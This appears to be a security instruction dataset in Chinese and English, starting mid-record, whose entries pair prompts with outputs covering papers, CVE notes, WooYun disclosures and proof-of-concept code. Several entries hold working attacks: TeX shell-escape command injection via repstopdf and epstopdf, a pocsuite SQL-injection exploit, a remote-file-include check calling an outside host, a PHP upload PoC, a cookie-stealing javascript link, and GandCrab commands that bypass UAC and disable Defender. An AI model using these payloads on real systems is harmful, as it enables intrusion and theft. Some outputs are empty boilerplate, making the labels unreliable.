本身在调用命令的时候出现相同的安全问题。\n可以假设：在命令调用的过程中，由于开发者对于命令参数的不完全掌握，有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路，挖掘白名单内的命令以及白名单内命令的内部调用，并最终得到一个调用链以及相关的参数列表，依据研究人员的经验去判断是否存在安全问题。\n## III. 在 *nix 下的利用方式\n通过针对命令的深入挖掘，发现白名单内的 repstopdf 命令存在安全问题，通过精心构造参数可以执行任意系统命令。\nrepstopdf 意为 restricted epstopdf，epstopdf 是一个 Perl 开发的脚本程序，可以将 eps 文件转化为 pdf\n文件。repstopdf 强制开启了 epstopdf 的 –safer 参数，同时禁用了 –gsopt/–gsopts/–gscmd 等\nGhostScript 相关的危险参数，以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下：\n repstopdf [options] [epsfile [pdffile.pdf]]\nrepstopdf 会调用 GhostScript 去生成 pdf 文件（具体调用参数可以用过 strace 命令进行跟踪），其中传入的 epsfile\n参数会成为 GhostScript 的 -sOutputFile= 选项的参数。\n通过查阅 GhostScript 的文档可知，GhostScript 的此项参数支持管道操作。当我们传入文件名为：|id 时，GhostScript 会执行\nid 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作，不受前文所提及的限制条件限制。利用方式如下所示：\n repstopdf '|id #'\n在 TeX 内的利用方式为：\n \\write18{repstopdf \"|id #\"}\n## IV. 在 Windows 下的利用方式\nWindows 平台下，白名单内存在的是 epstopdf 而非 repstopdf，且相关参数选项与 *nix 平台下不相同，但仍旧存在 –gsopt\n选项。利用此选项可以控制调用 GhostScript 时的参数。\n此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档，指定参数 -sOutputFile\n及其他相关参数即可。利用方式为：\n epstopdf 1.tex \"--gsopt=-sOutputFile=%pipe%calc\" \"--gsopt=-sDEVICE=pdfwrite\" \"--gsopt=-\"\n## V. LuaLaTeX 的安全问题\nLuaLaTex 内置了 Lua 解释器，可以在编译时执行 Lua 代码，原语为：\\directlua。LuaLaTeX 支持调用系统命令，但是同样地受到\nshell_escape 的限制。如在受限（f）模式下，不允许执行任意命令；默认情况下只允许执行白名单内的命令。由于可以调用白...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:Exploring and mitigating privacy threats of HTML5 geolocation API\nauthor:Hyungsub Kim and\nSangho Lee and\nJong Kim\nExploring and Mitigating Privacy Threats of HTML5\nGeolocation API ∗\nHyungsub Kim\nDept. of CSE, POSTECH\nPohang, Korea\nhyungsubkim@postech.ac.kr\nSangho Lee\nDept. of CSE, POSTECH\nPohang, Korea\nsangho2@postech.ac.kr\nJong Kim\nDept. of CSE, POSTECH\nPohang, Korea\njkim@postech.ac.kr\nABSTRACT\nThe HTML5 Geolocation API realizes location-based services via\nthe Web by granting web sites the geographical location information\nof user devices. However, the Geolocation API can violate a user’s\nlocation privacy due to its coarse-grained permission and location\nmodels. The API provides either exact location or nothing to web\nsites even when they only require approximate location. In this paper,\nwe first conduct case studies on numerous web browsers and web\nsites to explore how they implement and utilize the Geolocation API.\nWe detect 14 vulnerable web browsers and 603 overprivileged web\nsites that can violate a user’s location privacy. To mitigate the privacy\nthreats of the Geolocation API, we propose a novel scheme that\n(1) supports fine-grained permission and location models, and (2)\nrecommends appropriate privacy settings to each user by inspecting\nthe location sensitivity of each web page. Our scheme can accurately\nestimate each web page’s necessary geolocation degree (estimation\naccuracy: ∼93.5%). We further provide suggestions to improve the\nGeolocation API.\n1.\nINTRODUCTION\nLocation-based services (LBSs) are popular personalized services\nthat are tightly associated with user privacy. Examples of LBSs\ninclude navigation services, local search services, traffic alert ser-\nvices, and localized weather services, which are especially useful\nfor mobile device users. However, without assured privacy, users\nmay not trust LBSs. Therefore, following the seminal work of\nGruteser and Grunwald [13], numerous researchers propose various\nschemes [5, 7–9, 20, 23, 31, 32] to ensu...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0144125\n漏洞标题：中国金币网某站点存在严重漏洞可getshell泄漏几十万订单信息\n相关厂商：中国金币网\n漏洞作者： 路人甲\n提交时间：2015-09-29 21:31\n公开时间：2015-11-22 10:20\n漏洞类型：系统/服务运维配置不当\n危害等级：高\n自评Rank：20\n漏洞状态：已交由第三方合作机构(广东省信息安全测评中心)处理\n## 漏洞详情\n ### 披露状态：\n 2015-09-29： 细节已通知厂商并且等待厂商处理中 \n 2015-10-08： 厂商已经确认，细节仅向厂商公开 \n 2015-10-18： 细节向核心白帽子及相关领域专家公开 \n 2015-10-28： 细节向普通白帽子公开 \n 2015-11-07： 细节向实习白帽子公开 \n 2015-11-22： 细节向公众公开 \n ### 简要描述：\n getshell泄漏几十万订单信息\n ### 详细说明：\n \\*\\*.\\*\\*.\\*\\*.\\*\\*:7001/goldcoin/ \n上传war 拿到shell \n\\*\\*.\\*\\*.\\*\\*.\\*\\*:7001/ma/ma3.jsp \n数据库信息 \n```\njdbc:oracle:thin:@**.**.**.**:1521:goldts1 \ngoldcoin_wuli \ngoldcoin\n```\n ### 漏洞证明：\n ### 修复方案：\n 修改密码 \n完善配置", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:The Return of Coppersmith's Attack: Practical Factorization of Widely\nUsed RSA Moduli\nauthor:Mat'us Nemec and\nMarek S'ys and\nPetr Svenda and\nDusan Klinec and\nVashek Matyas\nThe Return of Coppersmith’s A(cid:130)ack:\nPractical Factorization of Widely Used RSA Moduli\nMatus Nemec\nPetr Svenda\nMasaryk University,\nMarek Sys∗\nCa’ Foscari University of Venice\nmnemec@mail.muni.cz\nMasaryk University\nsyso@(cid:128).muni.cz\nMasaryk University\nsvenda@(cid:128).muni.cz\nDusan Klinec\nEnigmaBridge, Masaryk University\ndusan@enigmabridge.com\nABSTRACT\nWe report on our discovery of an algorithmic (cid:131)aw in the construc-\ntion of primes for RSA key generation in a widely-used library\nof a major manufacturer of cryptographic hardware. (cid:140)e primes\ngenerated by the library su(cid:130)er from a signi(cid:128)cant loss of entropy.\nWe propose a practical factorization method for various key lengths\nincluding 1024 and 2048 bits. Our method requires no additional\ninformation except for the value of the public modulus and does\nnot depend on a weak or a faulty random number generator. We\ndevised an extension of Coppersmith’s factorization a(cid:138)ack utilizing\nan alternative form of the primes in question. (cid:140)e library in ques-\ntion is found in NIST FIPS 140-2 and CC EAL 5+ certi(cid:128)ed devices\nused for a wide range of real-world applications, including identity\ncards, passports, Trusted Platform Modules, PGP and tokens for\nauthentication or so(cid:137)ware signing. As the relevant library code was\nintroduced in 2012 at the latest (and probably earlier), the impacted\ndevices are now widespread. Tens of thousands of such keys were\ndirectly identi(cid:128)ed, many with signi(cid:128)cant impacts, especially for\nelectronic identity documents, so(cid:137)ware signing, Trusted Comput-\ning and PGP. We estimate the number of a(cid:130)ected devices to be in\nthe order of at least tens of millions.\n(cid:140)e worst cases for the factorization of 1024 and 2048-bit keys\na...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "总结这篇安全研究的主要观点", "input": "title:COMA: Communication and Obfuscation Management Architecture\nauthor:Kimia Zamiri Azar and\nFarnoud Farahmand and\nHadi Mardani Kamali and\nShervin Roshanisefat and\nHouman Homayoun and\nWilliam Diehl and\nKris Gaj and\nAvesta Sasan\nCOMA: Communication and Obfuscation Management Architecture\nKimia Zamiri Azar∗, Farnoud Farahmand∗, Hadi Mardani Kamali∗, Shervin Roshanisefat∗,\nHouman Homayoun‡, William Diehl†, Kris Gaj∗, Avesta Sasan∗\n∗ Department of ECE, George Mason University, VA, USA.\n{kzamiria, ffarahma, hmardani, sroshani, kgaj, asasan}@gmu.edu\n‡ Department of ECE, University of California, Davis, CA, USA. {hhomayoun}@ucdavis.edu\n† Department of ECE, Virginia Tech, VA, USA. {wdiehl}@vt.edu\nAbstract\nIn this paper, we introduce a novel Communication and Obfus-\ncation Management Architecture (COMA) to handle the stor-\nage of the obfuscation key and to secure the communication\nto/from untrusted yet obfuscated circuits. COMA addresses\nthree challenges related to the obfuscated circuits: First, it\nremoves the need for the storage of the obfuscation unlock key\nat the untrusted chip. Second, it implements a mechanism by\nwhich the key sent for unlocking an obfuscated circuit changes\nafter each activation (even for the same device), transforming\nthe key into a dynamically changing license. Third, it pro-\ntects the communication to/from the COMA protected device\nand additionally introduces two novel mechanisms for the\nexchange of data to/from COMA protected architectures: (1)\na highly secure but slow double encryption, which is used for\nexchange of key and sensitive data (2) a high-performance\nand low-energy yet leaky encryption, secured by means of\nfrequent key renewal. We demonstrate that compared to state-\nof-the-art key management architectures, COMA reduces the\narea overhead by 14%, while allowing additional features in-\ncluding unique chip authentication, enabling activation as a\nservice (for IoT devices), reducing the side channel threats on\nkey management architecture...", "output": "这篇论文提供了重要的安全研究见解，对网络安全防护具有指导意义。", "category": "research_summary", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\ntitle:blackhat:us-18 Another Flip in the Row\nThe Rowhammer bug is an issue in most DRAM modules which allows software to cause bit flips in DRAM cells, consequently manipulating data. Although only considered a reliability issue by DRAM vendors, research has showed that a single bit flip can subvert the security of an entire computer system.In the introduction of the talk, we will outline the developments around Rowhammer since its presentation at Black Hat USA 2015.We discuss attacks and defenses that researchers came up with. The defenses against Rowhammer either try to prevent the Rowhammer effect entirely, or at least ensure that Rowhammer attacks cannot exploit the bug anymore. We will present a novel Rowhammer attack that undermines all existing assumptions on the requirements for such attacks. With one-location hammering, we show that Rowhammer does not necessarily require to access two or more addresses alternatingly. We explain that modern CPUs rely on memory-controller policies that enables an attacker to use this new hammering technique. Moreover, we introduce new building blocks for exploiting Rowhammer-like bit flips which circumvent all currently proposed countermeasures. In addition to classical privilege escalation attacks, we also demonstrate a new, easily mountable denial-of-service attack which can be exploited in the cloud. We will also show that despite all efforts, the Rowhammer bug is still not prevented. We conclude that more research is required to fully understand this bug to subsequently be able to design efficient and secure countermeasures.", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这篇安全论文的内容", "input": "", "output": "安全论文分析：\n\ntitle:Measuring and Analyzing Search-Redirection Attacks in the Illicit\nOnline Prescription Drug Trade\nauthor:Nektarios Leontiadis and\nTyler Moore and\nNicolas Christin\nMeasuring and Analyzing Search-Redirection Attacks\nin the Illicit Online Prescription Drug Trade\nNektarios Leontiadis\nCarnegie Mellon University\nTyler Moore\nHarvard University\nNicolas Christin\nCarnegie Mellon University\nAbstract\nWe investigate the manipulation of web search re-\nsults to promote the unauthorized sale of prescription\ndrugs. We focus on search-redirection attacks, where\nmiscreants compromise high-ranking websites and dy-\nnamically redirect traffic to different pharmacies based\nupon the particular search terms issued by the consumer.\nWe constructed a representative list of 218 drug-related\nqueries and automatically gathered the search results\non a daily basis over nine months in 2010-2011. We\nfind that about one third of all search results are one\nof over 7 000 infected hosts triggered to redirect to a\nfew hundred pharmacy websites. Legitimate pharmacies\nand health resources have been largely crowded out by\nsearch-redirection attacks and blog spam. Infections per-\nsist longest on websites with high PageRank and from\n.edu domains. 96% of infected domains are connected\nthrough traffic redirection chains, and network analysis\nreveals that a few concentrated communities link many\notherwise disparate pharmacies together. We calculate\nthat the conversion rate of web searches into sales lies\nbetween 0.3% and 3%, and that more illegal drugs sales\nare facilitated by search-redirection attacks than by email\nspam. Finally, we observe that concentration in both the\nsource infections and redirectors presents an opportunity\nfor defenders to disrupt online pharmacy sales.\n1\nPrescription drugs sold illicitly on the Internet arguably\nconstitute the most dangerous online criminal activity.\nWhile resale of counterfeit luxury goods or software are\nobvious frauds, counterfeit medicines actually endanger\npublic s...", "category": "security_research", "source": "modelscope_security_dataset"}
- {"instruction": "总结这篇安全研究的主要观点", "input": "title:A model and architecture for pseudo-random generation with applications\nto /dev/random\nauthor:Boaz Barak and\nShai Halevi\nA Model and Architecture for Pseudo-Random Generation\nand Applications to /dev/random\n∗\nBoaz Barak\nDepartment of Computer Science\nPrinceton University\nboaz@cs.princeton.edu\nABSTRACT\nWe present a formal model and a simple architecture for\nrobust pseudorandom generation that ensures resilience in\nthe face of an observer with partial knowledge/control of\nthe generator’s entropy source. Our model and architecture\nhave the following properties:\n• Resilience. The generator’s output looks random to\nan observer with no knowledge of the internal state.\nThis holds even if that observer has complete control\nover data that is used to refresh the internal state.\n• Forward security. Past output of the generator looks\nrandom to an observer, even if the observer learns the\ninternal state at a later time.\n• Backward security/Break-in recovery. Future output\nof the generator looks random, even to an observer\nwith knowledge of the current state, provided that the\ngenerator is refreshed with data of sufficient entropy.\nArchitectures such as above were suggested before. This\nwork differs from previous attempts in that we present a\nformal model for robust pseudo-random generation, and pro-\nvide a formal proof within this model for the security of our\narchitecture. To our knowledge, this is the first attempt at\na rigorous model for this problem.\nOur formal modeling advocates the separation of the en-\ntropy extraction phase from the output generation phase.\nWe argue that the former is information-theoretic in na-\nture, and could therefore rely on combinatorial and statisti-\ncal tools rather than on cryptography. On the other hand,\nwe show that the latter can be implemented using any stan-\ndard (non-robust) cryptographic PRG.\nWe also discuss the applicability of our architecture for\napplications such as /dev/(u)random in Linux and pseudo-\nrandom generation on smartcards...", "output": "这篇论文提供了重要的安全研究见解，对网络安全防护具有指导意义。", "category": "research_summary", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n/* packet-paltalk.c\n * Routines for Paltalk dissection\n * Copyright 2005, Tim Hentenaar < tim at hentenaar dot com >\n * Copyright 2008, Mohammad Ebrahim Mohammadi Panah < mebrahim at gmail dot com >\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs <gerald@wireshark.org>\n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \"config.h\"\n\n\n#include <epan/packet.h>\n\n#include \"packet-tcp.h\"\n\nvoid proto_register_paltalk(void);\nvoid proto_reg_handoff_paltalk(void);\n\n#define INET_IPV4_ADDRESS_FROM_BYTES(a,b,c,d) g_htonl((((guint32)a)<<24) | ((b)<<16) | ((c)<<8) | (d)) /* *network* order */\n\n#define PALTALK_SERVERS_ADDRESS INET_IPV4_ADDRESS_FROM_BYTES(199,106,0,0) /* 199.106.0.0 in *network* order */\n#define PALTALK_SERVERS_NETMASK INET_IPV4_ADDRESS_FROM_BYTES(0xFF, 0xFE, 0x00, 0x00) /* /15 in *network* order */\n\n#define PALTALK_HEADER_LENGTH 6\n\nstatic int proto_paltalk = -1;\n\nstatic int hf_paltalk_pdu_type = -1;\nstatic int hf_paltalk_version = -1;\nstatic int hf_paltalk_length = -1;\nstatic int hf_paltalk_content = -1;\n\nstatic gint ett_paltalk = -1;\n\nstatic guint\ndissect_paltalk_get_len(packet_info *pinfo _U_, tvbuff_t *tvb,\n int offset, void *data _U_)\n{\n return tvb_get_ntohs(tvb, offset + 4) + PALTALK_HEADER_LENGTH;\n}\n\nstatic int\ndissect_paltalk_desegmented(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)\n{\n proto_item *ti = NULL;\n proto_tree *pt_tree = NULL;\n\n col_set_str(pinfo->cinfo, COL_PROTOCOL, \"Paltalk\");\n col_clear(pinfo->cinfo, COL_INFO);\n\n if (tree) /* we are being asked for details */\n {\n ti = proto_tree_add_item(tree, proto_paltalk, tvb, 0, -1, ENC_NA);\n pt_tree = proto_item_add_subtree(ti, ett_paltalk);\n proto_tree_add_item(pt_tree, hf_paltalk_pdu_type, tvb, 0, 2, ENC_BIG_ENDIAN);\n proto_tree_add_item(pt_tree, hf_paltalk_version, tvb, 2, 2, ENC_BIG_ENDIAN);\n proto_tree_add_item(pt_tree, hf_paltalk_len...", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# GandCrab_v5.0.3勒索病毒—JS代码分析与Loader分析\n\n##### 译文声明\n本文是翻译文章\n译文仅供参考，具体内容表达以及含义原文为准。\n## 概述\nGandcrab家族算是勒索病毒中最“出名”的了，它仅仅在半年的时间了就发布了从v1.0到v5.0.3，截止到我分析前，已经出现了v5.0.5版本了，我这个分析的是v5.0.3的JS脚本产生的勒索病毒。勒索病毒的最终执行的Payload部分我就不分析了，因为和之前的版本上没有太大的改变，但是这个Loader很有意思，用到了在2017年BlackHat大会上提到的ProcessDopplegänging技术，有兴趣的可以看看。\n该JS脚本的功能：\n(1)对抗Avast杀软\n(2)对抗Windows Defender\n(3)对抗MSC微软安全客户端\n(4)对抗Ahnlab安博士杀软\n(5)生成GandCrabV5.0.3勒索病毒变种样本并执行\n## 详细分析\n下图是经JS格式转换后的混淆脚本，需要通过Chrome浏览器动态调试得到源码，在hrodjgengsl函数处下断，查看参数信息即是解混淆后的JS源码了\n经JS格式化后的JS源码部分（两张图）\n### 1、检查avast杀毒服务是否运行，如处于运行状态，生成kyoxks.js脚本并运行，脚本内容如下：\n脚本功能：\n1、首先在注册表HKEY_CURRENT_USERSOFTWAREycsdrrpvrylqzhlnv下写一段base64加密的powershell脚本\n2、通过创建计划任务以固定间隔时间调PowerShell运行它。\n解密之后的powershell代码如下，这其中有一段C#代码：\nC#代码—————————————————————————————————————————————————————————————————————————————————————\n————————————————————————————————————————————————————————————————————————————————————–\n第一段Powershell脚本主要功能：\n1、首先拷贝对应的文件到临时目录\n2、找到对应路径下Avast更新程序并且动\n3、清除对应路径下缓存数据\n第二段C#代码主要功能：\nC#代码中定义了类：a12，其中在a12这个类中定义了a10、a11、a13、a14四个方法\n第三段Powershell脚本主要功能：\n执行调用C#代码中方法\na10方法主要是找到Avast进程得到有效句柄后从死循环中break退出。\na11和a13方法主要是向Avast程序发送消息，按下Tab键、空格键，释放Tab键、空格键。\na14方法主要是将Avast窗口程序隐藏\n### 2、检查WdNisSvc、WinDefend服务是否运行，如处于运行状态，生成nykvwcajm.js脚本并运行，脚本内容如下：\n主要功能：\n1、利用打开fodhelper.exe进程使cmd.exe Bypass UAC的目的，进而关闭Windows\nDefender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。\n判断是否是Win 10系统，如是通过将cmd.exe /C “powershell Set-MpPreference\n-DisableRealtimeMonitoring $true && taskkill /im MSASCui* /f\n/t命令写入到HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\注册表中，并以隐藏窗口的形式打开fodhelper.exe，这时就会执行上述注册表中写入的命令。同时最小化桌面上的所有窗口。再删除相应的注册表HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\。\n2、利用打开eventvwr.exe进程使cmd.exe Bypass UAC的目的，进而关闭Windows\nDefender杀毒功能及强制结束Windows Defender服务程序MSASCui.exe。\n判断是否是Win 7系统，如是通过将cmd.exe /C “sc stop WinDefend && taskkill /im MSASCui* /f\n/t命令写入到HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\注册表中，并以隐藏窗口的形式打开eventvwr.exe。这时就会执行上述注册表中写入的命令。执行完后再删除注册表HKEY_CURRENT_...", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nVarious writeups for the [2021 Intent CTF](https://ctf.intentsummit.org) ([CTFTime Link](https://ctftime.org/event/1454)). Writeups for additional challenges can be found [here](https://jctf.team/INTENT-CTF-2021/).\nParticipated as part of the [JCTF team](https://jctf.team/), which came in second!\n", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "检查这段代码是否存在安全问题", "input": "#!/usr/bin/env python\n# coding: utf-8\nfrom pocsuite.net import req\nfrom pocsuite.poc import POCBase, Output\nfrom pocsuite.utils import register\nimport re\n\nclass TestPOC(POCBase):\n vulID = '72200' # ssvid\n version = '1.0'\n author = ['kikay']\n vulDate = '2011-11-29'\n createDate = '2016-01-10'\n updateDate = '2016-01-10'\n references = ['http://www.sebug.net/vuldb/ssvid-72200']\n name = 'Joomla Component Time Returns (com_timereturns) 2.0 - SQL Injection'\n appPowerLink = 'http://www.joomla.com'\n appName = 'Joomla Time Returns Component'\n appVersion = '2.0'\n vulType = 'SQL Injection'\n desc = '''\n Joomla!的Time Returns（com_timereturns）组件2.0版本中存在SQL注入漏洞。\n 主要是对参数id过滤不严格造成的，远程攻击者可借助id参数执行任意SQL命令。\n '''\n samples = ['http://www.110xo.com/page/service']\n\n def _attack(self):\n #利用floor回显报错的方式，读取数据库信息\n result = {}\n payload=\"1' AND (SELECT 1222 FROM(SELECT COUNT(*),\"\\\n \"CONCAT(0x247e7e7e24,user(),0x2a2a2a,version(),0x247e7e7e24,\"\\\n \"FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YLvB'='YLvB\"\n exploit=\"/index.php?option=com_timereturns&view=timereturns&id=\"\n #提取信息的正则表达式\n pars=\"\\$~~~\\$([_a-zA-Z0-9].*)\\*\\*\\*(.*)\\$~~~\\$\"\n #构造访问地址\n vulurl=self.url+exploit+payload\n #自定义的HTTP\n httphead = {\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Connection':'keep-alive'\n }\n #尝试访问\n resp=req.get(url=vulurl,headers=httphead,timeout=50)\n #检查\n if 'Duplicate entry' in resp.content:\n #尝试提取信息\n match=re.search(pars,resp.content,re.I|re.M)\n if match:\n #记录数据库信息\n result['DatabaseInfo']={}\n #数据库用户名\n result['DatabaseInfo']['Username']=match.group(1)\n #数据库版本\n ...", "output": "代码安全检查完成，建议遵循安全编码规范。", "category": "code_security_review", "source": "modelscope_security_dataset"}
- {"instruction": "解释这个概念验证代码的工作原理", "input": "name: poc-yaml-showdoc-uploadfile\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\n r2: randomLowercase(4)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /index.php?s=/home/page/uploadImg\n headers:\n Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633\n body: \"\\\n ----------------------------835846770881083140190633\\r\\n\\\n Content-Disposition: form-data; name=\\\"editormd-image-file\\\"; filename=\\\"{{r1}}.<>php\\\"\\r\\n\\\n Content-Type: text/plain\\r\\n\\\n \\r\\n\\\n <?php echo \\\"{{r2}}\\\"; unlink(__FILE__); ?>\\r\\n\\\n ----------------------------835846770881083140190633--\\r\\n\\\n \"\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"success\")\n output:\n search: '\"(?P<date>\\\\d{4}-\\\\d{2}-\\\\d{2})\\\\\\\\/(?P<file>[a-f0-9]+\\\\.php)\".bsubmatch(response.body)'\n date: search[\"date\"]\n file: search[\"file\"]\n r1:\n request:\n cache: true\n method: GET\n path: /Public/Uploads/{{date}}/{{file}}\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(r2))\nexpression: r0() && r1()\ndetail:\n author: White(https://github.com/WhiteHSBG)\n links:\n - https://github.com/star7th/showdoc/pull/1059\n Affected Version: showdoc <= 2.8.6", "output": "这个PoC代码演示了特定的安全漏洞利用方法，需要谨慎使用。", "category": "poc_explanation", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n## 漏洞概要\n缺陷编号：wooyun-2015-0141484\n漏洞标题：Coremail一处存储型跨站脚本（有触发条件）\n相关厂商：Coremail盈世信息科技（北京）有限公司\n漏洞作者： shack2\n提交时间：2015-09-16 10:16\n公开时间：2015-12-20 10:18\n漏洞类型：XSS跨站脚本攻击\n危害等级：高\n自评Rank：15\n漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞\n## 漏洞详情\n ### 披露状态：\n 2015-09-16： 细节已通知厂商并且等待厂商处理中 \n 2015-09-21： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（[绿盟科技](http://www.nsfocus.com.cn/)、[唐朝安全巡航](http://tangscan.com/)） \n 2015-11-15： 细节向核心白帽子及相关领域专家公开 \n 2015-11-25： 细节向普通白帽子公开 \n 2015-12-05： 细节向实习白帽子公开 \n 2015-12-20： 细节向公众公开 \n ### 简要描述：\n Coremail一处存储型跨站脚本漏洞，已申请CVE编号：CVE-2015-6942\n ### 详细说明：\n 影响版本：XT3.0 \n其他版本未测试 \n测试步骤： \n1.首先创建一个带有超链接的doc文档，超链接为\"javascript:alert()\" \n2.创建一封邮件并上传附件，然后发送给需要攻击的用户(可发送给任意用户)。 \n3.受害者如果在WebMail里打开邮件并在线预览doc文档时，点击超链接，即可执行攻击代码。 \n4.重新将文档中的超链接换成location.href方式获取Cookie的超连接的即可 \n获取Cookie可以使用此超链接：href=\"javascript:c=escape(document.cookie);q='http://\\*\\*.\\*\\*.\\*\\*.\\*\\*/xss/index.htm?ck=';location.href=(q+c)\" \n这里只是测试获取cookie，用其他方式发送Cookie也可以。 \n5.访问收信后台即可看到Cookie \n ### 漏洞证明：\n 1.首先创建一个带有超链接的doc文档，超链接为\"javascript:alert()\" \n2.创建一封邮件并上传附件，然后发送给需要攻击的用户(可发送给任意用户)。 \n3.受害者如果在WebMail里打开邮件并在线预览doc文档时，点击超链接，即可执行攻击代码。 \n4.重新将文档中的超链接换成location.href方式获取Cookie的超连接的即可 \n获取Cookie可以使用此超链接：href=\"javascript:c=escape(document.cookie);q='http://\\*\\*.\\*\\*.\\*\\*.\\*\\*/xss/index.htm?ck=';location.href=(q+c)\" \n这里只是测试获取cookie，用其他方式发送Cookie也可以。 \n5.访问收信后台即可看到Cookie \n ### 修复方案：\n 在转换文档时，队超链接进行处理。", "category": "security_text_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的代码", "input": "", "output": "安全代码分析：\n\n#!/usr/bin/env python\n# coding: utf-8\n\nimport re\nfrom pocsuite.net import req\nfrom pocsuite.poc import Output, POCBase\nfrom pocsuite.utils import register\n\nclass Hitweb_Remote_File_Include(POCBase):\n vulID = '63807'\n version = '1'\n vulDate = '2006-08-08'\n author = ' '\n createDate = '2015-12-17'\n updateDate = ' '\n references = ['http://www.sebug.net/vuldb/ssvid-63807']\n name = 'Hitweb <= 4.2.1 (REP_INC) Remote File Include Vulnerability'\n appPowerLink = 'http://freshmeat.net/redir/hitweb/15633/url_tgz/hitweb-4.2_php.tgz'\n appName = 'Hitweb'\n appVersion = '<= 4.2.1'\n vulType = 'Remote File Inclusion'\n desc = ''\n samples = ['']\n\n\n def _attack(self):\n return self._verify()\n\n\n def _verify(self):\n result = {}\n vul_url = '%s/genpage-cgi.php?REP_INC=http://tool.scanv.com/wsl/php_verify.txt?' % self.url\n response = req.get(vul_url).content\n\n if re.search('d4d7a6b8b3ed8ed86db2ef2cd728d8ec', response):\n result['VerifyInfo'] = {}\n result['VerifyInfo']['URL'] = self.url\n\n\n return self.parse_attack(result)\n\n\n def parse_attack(self, result):\n output = Output(self)\n\n if result:\n output.success(result)\n else:\n output.fail('failed')\n\n return output\n\nregister(Hitweb_Remote_File_Include)", "category": "security_code_analysis", "source": "modelscope_security_dataset"}
- {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE:CVE-2016-1439\nCNNVD:CNNVD-201606-504\nCisco Unified Contact Center Enterprise是美国思科（Cisco）公司的一套基于IP的联系中心组件。该组件在IP基础设施上提供了智能联系路由、呼叫处理、网络到桌面计算机电话集成（CTI）和多通道联系管理功能。\nCisco Unified Contact Center Enterprise 10.5(2)及之前的版本的管理界面中存在跨站脚本漏洞。远程攻击者可借助特制的URL利用该漏洞注入任意Web脚本或HTML。\nsolution:Upgrade cisco unified_contact_center_enterprise to a higher version than 4.6(2:sr1,4.6(2:sr2,4.6(2:sr3,4.6(2:sr4,4.6(2:sr5,4.6(2:sr6,4.6.2,5.0(0,5.0(0:sr10,5.0(0:sr11,5.0(0:sr12,5.0(0:sr13,5.0(0:sr2,5.0(0:sr3,5.0(0:sr4,5.0(0:sr5,5.0(0:sr7,5.0(0:sr8,5.0(0:sr9,6.0(0:sr1,6.0(0:sr10,6.0(0:sr11,6.0(0:sr12,6.0(0:sr2,6.0(0:sr3,6.0(0:sr4,6.0(0:sr5,6.0(0:sr6,6.0(0:sr7,6.0(0:sr8,6.0(0:sr9,7.0(0:sr1,7.0(0:sr2,7.0(0:sr3,7.0(0:sr4,7.1(2,7.1(3,7.1(4,7.1(5,7.1.0,7.2(1,7.2(2,7.2(3,7.2(4,7.2(5,7.2(6,7.2(7,7.5(2,7.5(3,7.5(4,7.5(5,7.5(6,7.5(7,7.5(8,7.5(9,7.5(10,8.0(2,8.0(3,8.5(1,8.5(2,8.5(3,8.5(4,9.0(2,9.0(3,9.0(4,10.0(1,10.0(2,10.5(1,10.5(2,and avoid the version 